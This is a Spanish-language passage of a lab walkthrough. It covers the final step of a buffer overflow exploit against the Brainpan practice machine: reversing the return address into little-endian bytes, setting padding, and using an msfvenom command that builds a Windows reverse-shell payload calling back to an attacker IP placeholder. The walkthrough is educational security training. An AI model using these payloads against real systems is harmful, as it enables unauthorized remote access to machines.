# Shellcode (Inyección de comandos)

Ahora si, la parte buena, vamos a inyectar comandos en la maquina mediante la explotación de este buffer overflow.

En el exploit vamos a cambiar la variable de `retn`  y pondremos el Pointer que hemos copiado anteriormente, pero tendremos que cambiarlo un poco. Por cada dos caracteres las letras mayúsculas las pasaremos a minúsculas y agregaremos `"\x"` , de esta manera :&#x20;

```
# original : 311712F3
# nuevo :
retn = "\x31\x17\x12\xf3"
```

También debemos poner en reversa toda la cadena :&#x20;

```
retn = "\xf3\x12\x17\x31"
```

Ahora debemos cambiar también la variable Padding

```
padding = "\x98" + 16
```

{% hint style="info" %}
esto lo estamos haciendo porque.. **la forma en la que las computadoras almacenan datos en memoria: usan "endianness".**

**¿Qué es eso de endianness?**

* **Little Endian** (la más común en arquitecturas x86/x64):\
  Los bytes de un número **se guardan del menos significativo al más significativo**. Es decir, **al revés** de como los ves en hexadecimal.
* **Big Endian**:\
  Los bytes **se guardan tal como los ves**.

**x86 y x86-64 usan Little Endian.**\
Por eso, **cuando quieres poner una dirección en tu exploit, tienes que acomodar los bytes al revés**.
{% endhint %}

Ahora si, vamos a generar un payload de shellcode para la ejecución de instrucciones.

```
msfvenom -p windows/shell_reverse_tcp LHOST=tu_ip_atacante LPORT=tu_puerto_en_escucha EXITFUNC=thread -b "\x00" -f c
```

### Quieres generar tu shellCode manualmente? Haz click aquí

cuando se genere el payload debemos copiar desde las primeras comillas hasta el final (sin contar el punto y coma ";") , abrimos el exploit y lo pegamos en la variable de payload, luego lo metemos dentro de paréntesis "()"

ahora en el mismo exploit cambiaremos la dirección IP victima por la de la maquina brainpan, IP que vimos al principio, corremos el exploit y obtendremos acceso a la maquina brainpan, felicidades Has explotado un buffer overflow!!
